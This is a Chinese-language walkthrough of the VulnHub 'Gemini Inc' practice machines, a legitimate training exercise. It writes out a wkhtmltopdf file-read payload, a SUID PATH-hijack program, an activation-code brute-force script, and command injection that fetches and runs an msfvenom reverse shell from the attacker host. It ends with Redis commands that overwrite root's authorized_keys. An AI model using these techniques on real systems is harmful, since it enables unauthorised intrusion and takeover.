VulnHub Gemini Inc
字数 1672 2025-08-27 12:33:23
VulnHub Gemini Inc 渗透测试教学文档
1. 环境概述
Gemini Inc 是 VulnHub 上的一个渗透测试靶机,包含两个版本 V1 和 V2。本教学文档将详细讲解两个版本的渗透测试过程,涵盖从信息收集到提权的完整流程。
2. V1 版本渗透测试
2.1 主机发现
使用 arp-scan 发现目标主机 IP:
arp-scan -l
发现目标 IP 为 192.168.75.147
2.2 端口扫描
使用 nmap 进行全端口扫描:
nmap -p 1-65535 -T4 -A -sV 192.168.75.147
发现开放端口:
- 22 (SSH)
- 80 (HTTP)
2.3 Web 应用分析
- 访问 80 端口,在
test2目录下发现 web 应用 - 使用 dirb 进行目录扫描:
dirb http://192.168.75.147/test2/
- 在
install.php中发现安装时会写入默认账号admin:1234(MD5 加密)
2.4 利用 PDF 生成功能
-
使用默认凭据
admin:1234登录 -
发现两个功能:
- 编辑个人资料
- 将个人资料导出为 PDF
-
XSS 测试:
- 在修改名字时输入
<script>alert(1)</script>产生 XSS - 生成的 PDF 中显示使用了
wkhtmltopdf进行转换
- 在修改名字时输入
-
利用 wkhtmltopdf 漏洞:
- wkhtmltopdf 存在 SSRF 和文件读取漏洞
- 创建恶意 PHP 文件
1.php:
<?php $file = $_GET['file']; header("location:file://$file"); ?>- 在 name 字段注入:
<iframe src="http://192.168.75.131/1.php?file=/etc/passwd" width="100%" height=1220></iframe>- 成功读取
/etc/passwd,发现用户gemini1 - 尝试读取
/home/gemini1/.ssh/id_rsa获取 SSH 私钥
2.5 SUID 提权
- 查看内核版本:
uname -a
显示为 4.9.0,无直接可用 exp
- 查找可利用的 SUID 文件:
find / -perm -4000 2>/dev/null
发现可疑文件 listinfo
- 分析
listinfo:
strings listinfo
发现调用了 date 命令且未使用绝对路径
- 创建恶意
date程序:
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash");
}
编译并上传:
gcc 1.c -o date
export PATH=/path/to/date:$PATH
- 运行
listinfo获取 root 权限
3. V2 版本渗透测试
3.1 主机发现
arp-scan -l
发现目标 IP 为 192.168.75.149
3.2 端口扫描
与 V1 相同,开放 22 和 80 端口
3.3 Web 应用分析
-
目录扫描发现新目录:
registration.phpactivate.phpusers_list.php
-
注册账号需要邀请码,提示为 6 位数字
-
使用 Python 脚本爆破邀请码:
import requests
import re
s = requests.session()
def post(num):
url = 'http://192.168.75.149/activate.php'
cookie = {'PHPSESSID': 'husbpgapgpkcdtpedtmn3uj5c7'}
proxies = {'http': 'http://127.0.0.1:8080'}
t = s.get(url=url, cookies=cookie)
token = re.search("'hidden' name='token' value='(.*?)'", t.text).group(1)
post_data = {'userid': 16, 'activation_code': num, 'token': token}
t = s.post(url=url, cookies=cookie, data=post_data)
print(num)
return t
for i in range(0, 100000):
t = post((6 - len(str(i))) * '0' + str(i))
if t.status_code != 403:
print('get', num)
break
成功获取邀请码 000511
- 访问
users_list.php,在 HTML 源码中发现被注释的密码:
<!-- <b>Password:</b> edbd1887e772e13c251f688a5f10c1ffbb67960d<br/> -->
解密 MD5 得到 Gemini:secretpassword
3.4 利用 Admin 功能
- 使用
Gemini:secretpassword登录 - 发现
admin panel功能但返回 403 - 添加 HTTP 头绕过 IP 限制:
X-Forwarded-For: 127.0.0.1
3.5 命令执行绕过
- 发现命令执行功能但过滤了空格、>、| 等字符
- 使用
$IFS代替空格:
wget$IFS'http://192.168.75.131/shell'
- 使用 msfvenom 生成反弹 shell:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.75.131 LPORT=23333 -f elf -o pwn
- 下载并执行:
wget$IFS'-P'$IFS'/tmp/'$IFS'http://192.168.75.131/pwn'
chmod$IFS'777'$IFS'/tmp/pwn'
/tmp/pwn
- 将公钥写入
/home/gemini1/.ssh/authorized_keys获取稳定 shell
3.6 Redis 提权
- 检查 Redis 服务:
ps -ef | grep redis
发现以 root 权限运行
- 尝试连接:
redis-cli -h 127.0.0.1 -p 6379
需要认证
- 查找 Redis 密码:
cat /etc/redis/6379.conf | grep pass
获取密码 8a7b86a2cd89d96dfcc125ebcc0535e6
- 通过 Redis 写入 root 的 authorized_keys:
redis-cli -h 127.0.0.1 -p 6379 -a 8a7b86a2cd89d96dfcc125ebcc0535e6
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
set x "\n\nssh-rsa AAAAB3NzaC1yc2E...\n\n"
save
- 使用 SSH 密钥登录 root
4. 总结
本教学文档详细讲解了 VulnHub Gemini Inc 靶机两个版本的渗透测试过程,涵盖以下关键技术点:
- 主机发现与端口扫描
- Web 目录枚举
- wkhtmltopdf 漏洞利用
- SUID 提权技术
- 邀请码爆破
- HTTP 头绕过
- 命令执行绕过技术
- Redis 未授权访问提权
这些技术在实际渗透测试中具有广泛应用价值,建议在合法授权环境下进行练习。